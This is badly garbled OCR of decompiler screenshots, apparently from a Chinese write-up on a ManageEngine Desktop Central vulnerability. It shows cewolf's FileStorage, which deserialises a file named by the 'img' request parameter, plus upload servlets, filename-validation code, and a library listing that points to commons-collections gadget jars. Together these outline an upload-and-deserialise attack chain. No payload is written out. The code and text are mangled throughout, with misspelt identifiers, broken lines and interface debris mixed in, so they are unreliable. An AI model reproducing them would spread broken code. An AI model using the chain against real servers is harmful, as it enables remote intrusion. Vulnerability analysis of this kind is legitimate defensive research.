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>

META-INF
de.laures.cewolf
& cpp

& dp

# event

i jfree

£ links

£ storage

i taglib

2 tooltips

# util

fus CewolfException.class

fub CewolfRendererMBean.class

fuy ChartHolder.class

fu» Chartimage.class

fus ChartPostProcessor.class

fub ChartRenderingException.class
fu» ChartValidationException.class
fus Configuration.class

fur ConfigurationException.class
fu» DatasetProduceException.class
fu DatasetProducer.class

fub NonSerializableChartPostProcessar.class

fu PostPracessingException.class
fus Storage.class
fus WebConstants.class

) x
void Request request, HttpSel response)
- throws ServletException, [0Exception
143 4f (gehugaed) {
144 logReguest (request);
¥
146 addheaters (response) ;
147 if ((request. (“state”) t= mill) || (1 t. N
e {
149 requeststate(response) ;
150 return;
}
153 int width = 480;
154 int height = 468;
155 boolean removeAfterRendering = false;
1562  if (request.getParameter("removeAfterRendering”) = mull) {
158 removeAfterflendering = true;
}
160&  if (request.getParameter("width") != null) {
162 width = Integer.parselnt{request.getParaneter( width™));
3
1642  if (request.getParameter(“height”) != mull) {
166 height = Integer.parselInt{request.getParameter("height”));
¥
170 if {*renderingEnabled)
{
172 renderotEnabled( response, 49, 58);
173 return;
mn if ((width > this.contig.getMaxImagewidthi}) || (height > this.contig.getMaxImageteight()))
e {
179 renderImageToolarge| response, 489, 501;

“no 'IM§' parameter provided for Cewolf servlet."), response, width, height);
return;

Storage storsge = this.config.getStorage();
ChartImage chartInage = storage.getChartimage(ingkey, request);
if (chartinage = null)

(response, 409, 50);
return;
¥

reguestCount. incrementAndGet () ;
try

long start = System.currentTimeMillis();
int size = chartImage.geiSize();
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@ ® CewolfRenderer.class - Java Decompiler
B ™5 o

> i META-INF fub Storage.class 72 {, WebConstants.class i % PostProcessingException.class 2 &
v {# de.laures.cewolf
162 width = Integer.parselnt{request.getParameter(“width"));
> @ cpp
> 8 dp 164 if (request.getParameter("height”) t= mil) {
166 height = Integer.parselnt(request.getParameter(“height”]);
> event }
J *renderingEnabled)
» @ jfree 170 :1 t )
> @ links 172 rendertotEnabled ( respanse, 408, 5e);
173 return;
» [ storage
» @ taglib 177 if ((width > this.config.gethaxInageidth ()] || (height > this.config.getMaxInoqchieight()))
X e |
> B tooltips 179 renderImageToolarge( response, 409, 58);
» B util 180 P
» s CewolfException.class _}g-; String imgKey = request.getParameter(® ing”);
if (imgKey == null
R Cewolf! class o I ! o
» L‘\, CewolfRendererMBean.class %gé logAndRenderException(new ServietException(“no ‘img' parameter provided for Cewolf serviet."), response, width, height);
return;
» fu) ChartHolder.class }
v 190
fu» Chartimage.class 191 [ Chartlnage chartIsage = storage.getChartImage( ingKey, rua-s::;] =
» £3 Chartlmage 192 = o=
n e |
» {us ChartPostProcessor.class 195 ImageExpiry(response, 480, S01;
» fu» ChartRenderingException.class 196 N return; =
» fu ChartvalidationException.class 199 ISmestCount. increaentandset(); =
» fu» Configuration.class - :"l’
» 1l ConfigurationException.class 203 long start = System. currentTineMillis();
» 1 DatasetProduceException.class 2 int size = chart[nage. getiize(): e
» fu DatasetProducer.class 206 response. setContentLengthisize);
» lub NonSerializableChartPostProcessor.class 208 response. setButersize(size);
» fu PostProcessingException.class 209 response. setStatus(200);
o 210 response. getOutputStreani ) serite(chartInage. getBytes() )i
» fu Storage.class 211 long last = System.currentTimeMillis() — start;
» 2128 if {
i) WebConstants.class 213 log(“creation time for chart * + imgkey + ": * + last + "ms.");
¥

return;

b
catch (Throwable t)
{

215 logAndRenderExceotion(t, response, width, height);
¥
Finally
217= if (removeAfterRendering) {
try

o i
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[ ] [ ] FileStorage.class - Java Decompiler
B @™ oS
T
» i jfree <y Configuration.class fuh CewolfRendererMBean.class
> £ links o T
¥ & storage static final Long serialVersionlID = -6342203760851077577L;

4dAvvYyvyvvryvy

Find:

» ) AbstractSessionStorage.class
» % ClusterableSessionStorage.class
v (3 FileStorage

4 basePath : String

o deleteOnExit : boolean
serialVersionUID : long
stored : List
FileStorage()
contains(Chartimage, PageContext)
getChartimage(String, HttpServletRe
getFileName(Chartimage) : String
getFileName(String) : String
getKey(Chartimage) : String
init(ServletContext) : void
removeChartimage(String, HttpServl

storeChartimage(Chartimage, PageC

1 LongTermSessionStorage.class
» SerializableChartimage.class
% SessionStorageGroup.class
» i SessionStorageltem.class
» fu StorageCleaner.class
» %4 TransientSessionStorage.class
# taglib
i tooltips
# util
fus CewolfException.class
fus CewolfRenderer.class
fu» CewolfRendererMBean.class
{fub ChartHolder.class
fu» Chartimage.class
» £3 Chartimage

=

o omm OO O

®

>
>
>

String basePath = mull;
List stored = new ArrayList();
69 private boolean deletednExit = false;

public String storeChartIsage(ChartInage cid, PageContext pageContext)
{

if (gcontains(cid, pageContext)) {
return getkeyicid);

}

78 String id = getkeyicid);

79 Objectoutputstrean oos = mull;

try
s (T
81 String fileName = getFilehae!
82 Pagelonte; Tvletlontes [og("Staring image to file " + fileName);
83 File f = (11 1eNome) ;
g4e it (this.gelete0nExit) {
85 #.deleteOnExiti);
¥

87 605 = new ObjectOutputStreanine FiledutputStrean(f));
88 008 writeObject (mew SerislizableChartimage(cid));
89 eos.close(};

catch (I0Exception ioex)
[
91 ivex.printStackTrace();

}
catch (CowlfExcention cwex)
{

93 ovex.printStackTrace( ) ;
finally
_ 8 {
958 if (005 t= mull) {
try
= 1{
97 eos.closel);

catch (I0Bxception ioex)

q

99 ioex.printStackTrace();
¥

}

¥
103 return id;
b

public Chartinage getChartinage(String id, HttpServietRequest request)
{

res = null;

111 ObjectInputStrean ois = mull;
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[ JOK
B ®™F O

e
> i jfree 4 [y Configuration.class ¥ CewolfRendererMBean.class 2 e x
> 8 links 121 ¥ ots.closel)
v B storage
» ) AbstractSessionStorage.class o I (roexception toex}
» {4 ClusterableSessionStorage.class 123 doex.printStackTrace();
v FileStor: 5 ) ’
¥ (@ FileStorage - Ll
urn res;
4 basePath : String ¥
N deleteOnExit : boolean public boolean contains(Chartimage chartImage, PageContext pageContext)
& serialVersionUID : long 130
; 4 . ;
+ stored : List , e e i1e{get Lot chartlsage) . exists )
@ Filestorage0 public String getey(ChartInoge chartinage)
r o
@ contains(Chartimage, PageContext) s > e —
© getChartimage(String, HttpServletRe 141 | e String.value0f (KayGenerator. generateXey (chartInage) ) ; -
= getFileName(Chartimage) : String
= getFileName(String) : String B e peszervienontext servietContext) .
@ getKey(Chartimage) : String 248" {
. this.basePath = servietContext.getRealPath("/");
© init(ServletContext) : void [ | 180 e ooty = Continar i petTna g scryietContext )
@ removeChartimage(String, HttpServl 158 this.. = “true".equalsIgnoreCase("" + (String ).get(“Filestor 10;
151 servietContext. log("FileStorage initialized, deleteOnExit=" + this.deleteOnExit);
@ storeChartimage(Chartimage, PageC }
" X
» % LongTermSessionStorage.class FR—— d chartzaege) =
>l SerializableChartimage.class 165" {
» 4 SessionStorageGroup.class "= aairllfiaes (et chartimon);
» i SessionStorageltem.class et String setFileteme(string 10)
rivate String getFilease(str
» % StorageCleaner.class : = =
» 4 TransientSessionStorage.class 159[ return this.basefath + "_chart” + id;
» [ taglib
» & tooltips p‘n‘mxﬂlmﬁmmnsuw imgKey, HttpServietRequest pageContext)
» B outl 166" { ;
File file = File(getFiloName( imgKey) ) ;
» b CewolfException.class 1678 1f ilerorisni)) §
» f;‘} CewolfRenderer.class 169@ it (1file.delete()) {
k 171 throw new CewolfException("Could not delete file " + file.getAbsolutePathi)];
> L?, CewolfRendererMBean.class }
» fub ChartHolder.class 174 e "
¥ {u Chartimage.class ¥

» £3 Chartimage
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>AppCatalogServiceServlet</ >
>com.me.mdm.agent.servlets.appcatalog.AppCatalogServiceServlet</

>MDMLogUploaderServiet</ >
>com.me.mdm.onpremise.webclient.log.MDMLogUploaderServliet</

>MDMFileUploaderServliet</ >
>com.me.mdm.agent.servlets.file.MDMFileUploaderServlet</

>ForwardingServerStatusServlet</ >
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E]’\J com.me.mdm.agent.servlets.file .MDMFileUploaderServlet .

@ ® MDMLogUploaderServiet.class - Java Decompiler
YA
& cewolf-1.2.44ar ¢ |- JAGEnINSIDEsKiopCenalianE. 3
» @ enrol iy MOMEileUploaderServiet.class 72
v & file
» i MDMFileUploaderServiet.class public void doPost (HttpServietRequest request, HEtp: response,
» 8 ios throws ServietException, T0Exception
{
» & macos 49 Reader reader = null;
> @ modem.mac 50 Prinwriter printhriter = null;
» & windows 52 this. logger. log(Level. KARNING, “Received Log from agent");
n :
» i DeviceRequestServlet.class 54 Long nDataLength = Long.valueDf (request.getContentLengthi});
» .
B [:;Iml 56 this. logger. log(Level KARNING, “MDMLogUplosderServiet : file conentent lenght is {@)", nbatalengthl;
» @ apps.handler 58 :.n:.m;.\.ogtmel.wnmﬁ, “MMLogUgloaderServiet :Acceptable file conentent lenght is {8}, this.acceptedlooSize);
> {5 certificate o {
ir == thil "
» @ chrome.agent 1 fongtatiet)
> # core 63 String udid = request.getParameter("udid");
64 if ((udid 1= mill) & (EL 1 N
» {5 directory 1
» 8 doc 65 this. 1ggger. log(Level WARNING, “MOMLogUplosderServiet : Going to reject the file upload as path traversal vulnerability found in udid param {0}, udid
66 response. sendError (483, “Request Refused”);
» 5 files 67 return;
)
» i framewark 70 String platfom = request.getParameter(“platforn);
» 8 http 71 String fileName = request.getParameter("filename’
72 HashMap deviceMap = MOMUtiL )
» & mdmmigration 73 it (devicetap 1= mull)
v i {
& onpremise 75 ‘this.customerID = ({LongldeviceMap.get (“CUSTOMER_ID")) ;
» {8 remotesession 76 thi = EDTN.NAE™) ) ;
» @ server 77 this. gonairbame = ((String)devicedap. get (“DOMAIN_NETBI0S NAE"));
78 this. resourcelD = ({Long)deviceMap. get("RESOURCE_ID"));
» @ util 79 this.platfornType = ((Integer)deviceMap. get “PLATFORN_TYPE")};
¥ 1 webclient alse
» & admin {
a2 this, customerID = Long. valueOT (8L);
» & common a3 this.geviceName = “default”;
» @ filter 84 N this. gomairName = “default™;
» & home 91 String baseDir = System.getProperty(“server.home");
» & integration 93 this. devicenane = Lot ;
M 95 enis "
= + File.separator + " 4 File. + this., + File, v+ this. & udids
PN MDMLogUploaderservier.class String localDirToStore = baseDir + File.separator + “ndn-logs" + File.separator customerID + File.separator + this.gevicehiose + " " + udid
i 97 File file = new File(localdirToStore);
& remotesession 98 it (tile.existsl)) {
& support 99 file.mkdirs();
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MDMLogUploaderServiet.class - Java Decompiler

& cewolf-12.4jar 0 [ JASERINGIDESIGRCENURIARET
» & enroll i MDMFileUploaderServiet.class =2 [ JMDMIogUploadersenietciassi 3

v @ file
» i MDMFileUploaderServiet.class public void doPost (HttpServietRequest request, HttpSer response,
> ios . throws ServietException, I0Exception
> & macos 49 Reader reader = null;
> @ modem.mac 50 Prinwriter printhriter = null;
» @ windows 52 this. 10gger. log(Leve L. KRNING, “Received Log from agent*);
b i e
» i DeviceRequestServlet.class 54 Long nDataLength = Long.valueDf (request.getContentLengthi});
4 util .
B &’, 56 this. logger. log(Level KARNING, “MDMLogUplosderServiet : file conentent lenght is {@)", nbatalengthl;
api
» @ apps.handler 58 ::,u.m_'l.oq:mel.wmm, “MMLogUgloaderServiet :Acceptable file conentent lenght is {8}, this.acceptedlooSize);
> {5 certificate 5 {
6 if (nDatalength. lwe() <= this. acceptedlogSize. longValuel
» @ chrome.agent 1 atength. longlalue() e Torgiatue(])
> # core 63 String udid = request.getParameter(“udid");
N 64 if ({udid 1= null) & (E4 1 it 1
» {8 directory 1
» 8 doc 65 this. 1ggger. log(Level WARNING, “MOMLogUplosderServiet : Going to reject the file upload as path traversal vulnerability found in udid param {0}, udid
N 66 response. sendError (483, “Request Refused”);
> f# files 67 return;
)
> i framework 70 String platfom = request.getParameter(“platforn);
» 8 http 71 String filsName = request.getParameter("filename”);
. : 72 HashMap deviceMap = MDMUL]L ) "
» B mdmmigration 73 it (devicetap 1= null)
v {# onpremise {
- 75 ‘this.customerID = ({LongldeviceMap.get (“CUSTOMER_ID")) ;
> i remotesession 76 this. geviceame EEXTH MAME") )5
» B server 77 this. gonairbame = ((String)devicedap. get (“DOMAIN_NETBI0S NAE"));
78 this, resourceID = |(Long)deviceMap, get{"RESOURCE_ID"));
» B util 79 this.platfornTvoe = ((Integer)deviceMap. get(“PLATFORM_TYPE"));
¥ {8 webclient [
» & admin 82 ! his, custoserID = Lang, valueOf (L)
this, va ]
» & common 83 this. | ‘default”;
» & filter 84 N this. gonairame = “default”;
» & home 91 String baseDir = System.getProperty(“server.home”) ;
» & integration 93 this, gevicenane = idCharactersInFy P
v i log

95 String localDirToStore = baseDir + File.separator + "mdn-logs” + Fil tor + thi tomerID + Fil tor + this., & dids
MDMLogUploaderServiet.class ring localbirToStare = baseDir + File.separator 095 is. deviceiiane + " 1

[
» B remotesession a7 File file = new File(localDirToStore);
& 98 it (1ile.exists)) {
» & support a9 file.mkdirs();
» @ useradministration . | R,

[ e
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conolr-12.40r - [ AN GGRAIAES

W GettingStartedUtil.class
IgnoreCharAction.class
s OnlineUrlLoader.class
ProductUriLoader.class
us QuickLoadUtil.class

1 SYMClientUtil.class

s XMLGenerationUtil.class
» # customer
> export

» & factory

> i file

v @ filter

» & formbean
» & graphs

» & home

» @ message
» # navigation
>
>
>
>
>
>
>
>
>
»

YYYVYVYVYVYY

& quicklink
& reportcriteria
& reports
& restapi.reports
& schedulereport
& search
i settings
& support
i taglib
i tree
» & zohoCharts
» £ winaccess
» [ onpremise
> i ems
» i framework.server
¥ # mdm
v {3 agent

[ T

Find: 1

4is MOMFileUploaderServiet.class 7 4i, MOMLogUploaderServlet.class 7 [l x

181

1852
186

188

T o
return matcher.matches();

}

T

private static boolean isContainDirectoryTraversal(String fileMame)

if ((fileName.contains("/*)) || (fileMame.contains("\\"11) {
return true;

return false;

private static boolean isCompletePathiString fileName)

String regexFileExtensionpattern = “{[a-zA-Z12 [\ \\\\ £ //1.%)";
Pattern pattern = Pattern.cospile( regexFileExtensionPattern) ;
Matcher matcher = pattern.natcher(fileNase);

return matcher.matches();

private static boolean isContainExecutableFileExt(String fileName)

if (fileMame. indexOf (“\B08") 1= -1 {
fileame = fileMame. substring(®, fileName.index0f("\008"));

¥
String fi fileName) . trim();

= Fil
if (!fileExtension.trin().equals(™"))
g

filefxtension = fileExtension. tolowerCase();

ArrayList executableFileExts = new ArrayListiArrays.ssListinew String(] { “fsp", “js*, “htal", “hu, “shtal®, “shte, “hta", “asp” }));
if (executableFileExts.contains(fileExtension)) {
return true;
}
¥
return false;

public static boalesn faSUUREFABILIEYIAFLIENSRE (St ring f1lehane)
{
i ((isContaindirectoryTraversalifileName}) || (

return true;

(fileMame) ) || (isCe (leExt (fileName) )} {

return false;

public static boolean hasVulnerabilityInfileame(String filsName, String allowedFileExt)

226 if ((isContainDirectoryTroversal(fileNane}) || (isCompletePuth(fileName)) || (!isValidFileExtension(fileNome, allowedFileExt))) {
227 return true;
-
229 return false;
¥
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& cowolf-12.4jar ¢ [ IRNGRINSIDESIpCSTtaliaE

» Ji» MDMFileUploaderServlet.class =2 4i, MDMLogUploaderServlet.class =2 [Jal x
» fus GettingStartedUtil.class - —
» i IgnoreCharAction.class .
» {us OnlineUrlLoader.class 168 ¥
fileFolder.delete();
» 4 ProductUrlLoader.class 161 this.gut, \0giLevel,INFO, “Deleted : ~ + fileFolder);
» i QuickLoadUtil.class }
f'—'\’ Q catch (Exception e)
» luh SYMClientUtil.class P
N ; 1 returnType = false;
* i XMLGenerationUtil.class 166 this.aut. logiLeve L MARNING, “Exception occured while deleting folder.”, e};
» # customer }
> i export 168 | et returntypes
» & factory .
» @ file public static boolean isValidFileExtension(String fileName, String fileExtPattern)
y 1745 if (fileNane. indexOf(“\008") 1= -1)
>
i filter 175 filehane = fileHame. substring(@, filease. indexof("\808));
» & formbean }
» & graphs 177 fileExtPattern = FileExtPattern.replaceAll(™\\s+", "*).tolowerCase();
grap| 178 String regexFileExtensionPattern = "(["\sl+(\\. (74)(" + fileExtPattern + *))$)";
» & home 179 Pattern pattern = Pattern.cospile(regexFileExtensionPattern);
180 Matcher matcher = pattern.matcher(fileName. tolowerCase());
> & message 181 return matcher.satcnes();
» 1 navigation ]
» & quicklink private static baolean {sContainDirectoryTraversal(String 11leName)
N e {
> & reportcriteria 1855 4 ((filehome.contains("/*)) || (#ilehone. contains(*\1")1) {
» & reports 1 return true;
}
» &t restapi.reports 148 return false;
» & schedulereport ¥
» & search _ private static boolean isConpletePath(String fileName)
N 5 e
& settings 193 String regexFileExtensionPattern = "([a-2A-Z13 [\, W\ / //1.%1";
» # support %3; Pattern pattern = Patts :
! Matcher matcher = pattern.matcher(fileNane);
» i taglib 196 return matcher.satches(); -
> @ tree
» & zohoCharts private static boolean isContainExecutableFileExt(String filehame)
3 i e
8 winaccess 201 if (fileNane. indexdf ("\008") 1= -1) {
onpremise fileMame = fileName.substring(@, filehame. index0f("\008"));
] 202
}
> i ems 204 String f1 = FilenameUtil T1ename) . trin();
» i framework.server 206 if (1fileExtension. trin{).equals(""))
e «
v mdm 207 fileExtension = fileExtension. tolowerCase();
v [ agent jgg ArrayList executobleFileExts = new ArrayList(Arrays.asList(new String(] { "jsp", "js", "htal", "hta", "shtal", “shts", "hta", "asp” D)z
- B
. Y N ——
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FileUploadUtil.class - Java Decompiler

conolr-12.40r - [ AN GGRAIAES

» % MDMFileUploaderServiet.class 7 4y MDMLogUploaderServlet.class 2
» i GettingStartedUtil.class = _
. 1 returnType = false;
» IgnoreCharAction.class 166 this.gut. logiLeve L WARNING, “Exception occured while deleting folder.”, e);
» 1l OnlineUrlLoader.class . 3
return returnType;
» 4 ProductUriLoader.class j i rerrmYee
» s QuickLoadUtil.class . )
Y public static boolean isValidFileExtension(String fileName, String fileExtPattern)
> SYMClientUtil.class 1S
i . 1745 if (fileName. indexdf(“\009") 1= -1) {
> iy XMLGenerationUtil.class 175 fileame = filehame. substring(d, fileName. indexOf("\808"));
» # customer }
@ 177 FileExtPattern = fileExtPattern. replaceAll("\\s+", “*).tolowerCase();
export 178 String regexFileExtensionPattern = "(["\sl+(\. (74)(" + fileExtPattern + *))5)";
» & factory 179 Pattern pattern = Pattern.compile(regexFileExtensionPattern);
180 Matcher matcher = pattern.matcher(fileNane. tolowerCase());
» i file 181 return matcher.matches();
> & filter }
» & formbean _ private static boslean isContainDirectoryTraversal(String fileName)
» & graphs 1852  4f ((fileName.contains("/")) || (fileName.contains{™\\"))) {
» & home 186 return true;
b
> message 188 return false;
» # navigation T
» & quicklink _ private static boolean SCORPIEEEPAEH(String fileName)
» & reportcriteria 93 String regexFileExtensionPattern = "([a-zA-Z]: [\\ W\ / //1.%)";
» @ reports g; Pattern pattern = Patt :
Matcher matcher = pattern,matcher(fileNane);
» i restapi.reports 96 return natcher.satches();
» & schedulereport ¥
> i search rivate static boolean isContainExecutableFileExt(String fileName)
» i settings 2015  if (filehome, indexdf("\000") 1= -1} {
» & support 202 fileMame = fileName.substring(@, fileWame.indexOf(“\808"));
il }
> & taglib 204 String f1 _ {lename) . trin();
» i tree 206 if (1fileExtension.trin().equals )
e -
» & zohoCharts 207 fileExtension = fileExtension. tolowerCase();
» {8 winaccess ;gg_ ArrayList exccutablef lecxts = mArﬂyLisi(Arr:ys.IsLls(lm String(] { "jsp", "js", "html", "ht", "shtal", "shts", "hta", "asp” D)
» [ onpremise 210 return true;
> i ems )
» i framework.server 213 return false;
¥ # mdm 4
v {3 agent ?Mi: static boolean hasVulnerabilityInFileName(String fileName)
PR e dioee e 4 o
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FileUploadUtil.class - Java Decompiler

& cowolf-12.4jar ¢ [ IRNGRINSIDESIpCSTtaliaE

» Ji» MDMFileUploaderServlet.class =2 4i, MDMLogUploaderServlet.class =2 [Jal x
» i GettingStartedUtil.class v
. 1745 if (fileName. index0f(“\009") 1= -1) {
» IgnoreCharAction.class 175 fileMame = fileName.substring(@, fileName. indexOf(™\Bo@"));
» {us OnlineUrlLoader.class b
177 fileExtPattern = fileExtPattern.replaceAll("\\s+", “*).tolowerCase();
» fu ProductUriLoader.class 178 String regexfileExtensionPattern = “(["\sl+(\\. (74) (" + fileExtPattern + *115)";
» i QuickLoadUtil.class 179 Pattern pattern = Pattern.cospile{ regexFileExtensionPattern) ;
. 180 Matcher matcher = pattern.matcher(filehame. tolowerCase(1];
» b SYMClientUtil.class 181 return matcher,satches();
» 4 XMLGenerationUtil.class 3
» { customer _ private static boolean isContainDirectoryTraversalistring filehane)
> &t export 1855 df ((filenome.contains(*/*)) || (filemane. eontains("\\"))) {
» & factory 186 return t
b
> i file 188 return false;
> & filter }
» & formbean _ private static boolean isConpletePatn(String fileName)
» & graphs 193_ String regexFileExtensionPattern = "{[a-zA-Z]1:[\\ \W\ 7 //1.%)";
» & home 194 Pattern pattern = Pattern.cospile(regexFileExtensionPattern);
» @ message %gg Matcher matcher = pattern.matcher(fileNase);
return natcher.natches();
» @ navigation }
» & quicklink private static baolean {SCONTAINEXSCULABIEFALEEXE (String f1leName)
N e {
» & reportcriteria 281 if (fileName. indexDf ("\B08") = -1) {
» i reports 292 fileMame = fileName.substring(@, fileName.indexOf("\00@"));
» i restapi.reports 244 strim - fy Llenane) . trin();
» & schedulereport 246 ?f (1fileExtension. trin{).equals(“"}}
» {# search 247 fileExtension = fileExtension. tolowerCase();
» i settings 5 g ArrayList extcutableriistxts = m»\rﬂyusulrr:ys.ul.lstlnn string(] { "jsp", "js", "html", "htw", “shtal, "shts", "hta", "asp” H):
» & support b3 O return true;
» & taglib
¥
» i tree 2]3 return false;
3
» & zohoCharts
» 4 winaccess public static boslean hasVulnerabilityInFileName(String fileName) |
» [ onpremise 2182 if ((isContainDirectoryTraversal(fileamed) || ( ileMame)) || (isContail Laxt (fileWame)) ) {
> ems 219 return true;
}
» i framework.server 221 return false;
)
¥ # mdm
v i agent public static boslean LitylnFi fileame, String
e 1
. . . R
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M filename #MM T IEERAMRE], RICFN 1logltxt|zip|7z HP—F

@ ® MDMLogUploaderServiet.class - Java Decompiler
B ®45 -
S conolf-12.4sar . I IAGNSDSGRCANAED
oo = B ‘ " 52
> @ dep i MDMFileUploaderServiet.class = [ MOMIGgUploaderSenilsticlassi Bl % FileUploadutil.class &2
» # doc 3 i
> @ drp 91 String baseDir = System.getProperty(”server.home”);
» i enroll 93 this. devicetione = devicehane) ;
v
e 33 | i VoW = e P et it + Pt et i, e+ ekt + 7 ol
» 4 MDMFileUploaderServiet.class
> @i 7 File file = new File(localDirToStore);
los 98e it (ifile.exists()) {
» B macos 99 }me.-kdmn;
» & modern.mac 1082 this. logger. log(Level.WARNING, "absalute Dir {8} ", new Object(] { localDirToStore });
>
@ w‘"‘:’uws 108 fileiane = Filehame. toLowerCase(); -
» L DeviceRequestServlet.class 110 if ((fileName '= nell) & (Fd i Fileame, 72300
i - 1
> il 11 this. 1ggger. log(Level WARNING, “MOMLogUplosderServiet : Going to reject the file upload {0}, Fillshane);
» # api 112 response. sendError (483, “Request Refused”);
113 return;
» [ apps.handler 3
> 8 centificate 116 String sbsoluteFileNome = localDirToStore + File. seporator + fileNane; =]
» # chrome.agent 118 this. logger. log(LeveL.WARNING, "absolute File Name {8} ", new Object(] { Filchame }): =
@ “'"E 120 InputStrean fileStreanData = null;
» 8 directory try
e 1
» # doc 122 fileStreamData = validateRequestStreanithTika( request.getInputStrean(), Fillehamne);
>  files L ien ,
ch (Su¥Exception ex
» [ framework e h
» & http 124 if (ex.getErrorCode() = 140001)
» £ mdmmigration 125 ‘this. logger. log(Level. WARNING, "MDMLogUploaderServiet : Content type detected is not application/zip - Terminating log upload request with error code
v { onpremise };g ::mf!&uﬂirmﬂ!!’. ‘Request Refused”);
» i remotesession X }
> 8 server 132 InputStrean in = null;
> B outil 133 I:xuuulpunstfm fout = mill; =
1 Y =
¥ [ webclient = {
i 135 in = fileStreanbata;
> & admin 136 fout = new FileQutputStream{absoluteFileName) ;
» & common =
» 8 filter 138 m-:] bytes = new bytel's'];
> & home 1398 while ({1 = in.read(bytes)) 1= -1) {
. 140 fout.write(bytes, 8, i};
» i integration }
v & log 142 }lwt.fl\uhtl.‘

[ MDMLogUploaderServiet.class

Find: 1 T 4| Next | Previous Case sensitive 2


https://xzfile.aliyuncs.com/media/upload/picture/20200315112334-5a8696ba-666c-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20200315112512-9470b086-666c-1.png

(https://xzfile.aliyuncs.com/media/upload/picture/20200315112512-9470b086-666¢-
1.png)

E;EE security-mdm-agent.xml 1ESITH_£V:BE%U

OPEN FILES
* security-mdm-agent.xmi

CREATE"
<

‘true"/>
s

supportIssueDetailsJson" max-len="2500"/>

oudEnrol

required"
ios|android"/>

O Line 281, Column 45
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1Lp1y)

Rﬁi?%%é}‘z#%ﬁﬁg logger.txt|logger.zip|mdmlogs.zip|managedprofile_mdmlogs.zip . A~

S ] E1E
. SHFFCEI Y gadgets
FHATHN pesktopcentral_server\1ib B3R, SHAEIRIEAY jar.

e0e® I [3

7 =z

EERIFFFI S

Q>

'@ Windows 7 x64

- —t— . Jp— .- - —— - ® - -
.‘ » HRHL » FHRE (C) » Program Files » DesktopCentral Server » lib »
8 - aBEBE - FE - SHER{3R
v s BIR : EREm %E K
b TE . cleaned_framework jars 2020/3/9 1542
W S b fix 2020/3/7 1:04
= BTSN | native 2020/3/7 1:04
| redirectmdmurl 2020/3/7 1:04
ol ). resources 2020/3/7 1:04
8 5 | seamlessmigration 2020/3/7 1:04
S@n | third_party jars 2020/3/7 1:04
S | tomeat 2020/3/9 15:42
£ B & activation 2020/3/6 23:06 Executable Jar File 54 KB
4 AddOns 2020/3/9 15:42 Executable Jar File 20KB
& T & AddOnsTables 2020/3/9 15:42 Executable Jar File 3 KB
& AddOnsTablesSrc 2020/3/9 1542 Exec ole Jar File 3KB
Lo & AdvAudit 2020/3/9 15:42 Executable Jar File 21KB
+ AdvAuthentication 2020/3/9 1542 Executable Jar File 251 KB
& AdvAuthorization 2020/3/9 15:42 Executable Jar File 61KB
4 AdvAWServer 2020/3/9 15:42 Executable Jar File 234 KB
4 AdvCustomView 2020/3/9 15:42 Executable Jar File 159 KB
& AdventNetCLI_trim 2020/3/9 15:42 Executable Jar File 262 KB
& AdventNetClientComponents 2020/3/9 15:42 sle Jar File 714 KB
& AdventNetClientFramework 2020/3/9 1542 Executable Jar File 293 KB
& AdventNetDesktopCentral 2020/3/9 15:42 Executable Jar File 24,991 KB
& AdventNetDesktopCentralTables 2020/3/9 15:42 Executable Jar File 858 KB
& AdventNetFramework 2020/3/9 15:42 Executable Jar File 68 KB
& AdventNetldiomsGallery 2020/3/9 15:42 Executable Jar File 64 KB
# AdventNetLicense 2020/3/9 15:44 XML X4 1KB
i AdventNetMPrevalent 2020/3/9 1542 Executable Jar File 298 KB
& AdventNetSnmp 2020/3/9 15:42 Executable Jar File 716 KB
« AdventNetTableComponents 2020/3/9 1542 Executable Jar File 154 KB
& AdventNetUpdateManagerinstaller 2020/3/9 15:42 Executable Jar File 658 KB
& AdventNetWebClientCore 2020/3/9 15:42 Executable Jar File 23KB
& AdventNetWebClientRangeNavigator 2020/3/9 15:42 Executable Jar File 14 KB
& AdventNetWebClientTable 2020/3/9 15:42 Executable Jar File 26KB
& Advi18n 2020/3/9 15:42 Executable Jar File BKB
+ AdvMicroFramework 2020/3/9 1542 Executable Jar File 51 KB
ArhDareictanca ININ 200 16209 Fuarubahia lar Fila 1041 v

m
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= v s cucur o3 same LaTLuLaus san 1 e Pt

& AdvSQNS 2020/3/9 1542 Executable Jar File 44 KB

& AdvTaskEngine 2020/3/9 1542 Executable Jar File 120 KB
i« AdvTools 2020/3/9 15:42 Executable Jar File S0KB
1 AdvWebService 2020/3/9 1542 Executable Jar File 18 KB
& AdvWmsCommon 2020/3/9 1542 Executable Jar File 232KB
& AdvWmsServerCommon 2020/3/9 15:42 Executable Jar File 128 KB
& AdvWorkEngine 2020/3/9 1542 Executable Jar File 340 KB

alnn hont 211209019107 NN (200 1611 Euncutahlo lac Gila CAVR

) 237 PR
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ﬂmﬁﬂ]ﬁfmT commons-collections.jar commons-beanutils-1.8.0.jar

e0e® I 3 Q> =) Windows 7 x64

h e “l‘#ﬂ Y S —_
| » {HE#L » FHBRE (C) » Program Files » DesktopCentral Server » lib »

AR~ (& THF - RO

& o &R ExEW K c
h TH & bemail-jdk150n-159 2020/3/6 23:10 Executable Jar File 106 KB
|-t ¥ bepkix-jdk150n-159 2020/3/6 23:10 Executable Jar File T7I5KB
2 RSEIRTR & becprov-jdk150n-159 2020/3/6 23:12 Executable Jar File 3997 KB
& BMPTables 2020/3/9 15:42 Executable Jar File 96 KB
R4 & BMPTablesSrc 2020/3/9 1542 Executable Jar File 236 KB
LR & bots 2020/3/9 1542 Executable Jar File 94 KB
5 @h & BrowserManager 2020/3/9 15:42 Executable Jar File 1413KB
53Ry i cewolf-1.2.4 2020/3/9 1542 Executable Jar File 201 KB
48 & chromedevicemanagementapi 2020/3/9 15:42 Executable Jar File 134 KB
mwm 2020/3/9 1542 Executable Jar File 247 KB
> N L = commons-beanu! 2020/3/9 15:42 Executable Jar File 226 KB
& commons-chain-1.2 2020/3/9 15:42 Executable Jar File 90 KB

& s 4 commons-codec17 2020/3/9 15:42 Executable Jar File 256 KB E
i commons-collections 2020/3/9 15:42 Executable Jar File 542 KB
[ il commons-collectionsd-4.1 2020/3/9 15:42 Executable Jar File 728 KB
& commons-compress-1.14 2020/3/9 1542 Executable Jar File 518 KB
i« commons-csv-1.3 2020/3/9 15:42 Executable Jar File 39KB
& commons-digester 2020/3/9 15:42 Executable Jar File 139 KB
i commons-fileupload-1.3.2 2020/3/9 15:42 Executable Jar File 69 KB
& commons-httpclient-3.1 2020/3/9 1542 Executable Jar File 298 KB
& commons-io-1.2 2020/3/9 15:42 Executable Jar File 65 KB
& commons-lang-2.0 2020/3/9 15:42 Executable Jar File 165 KB
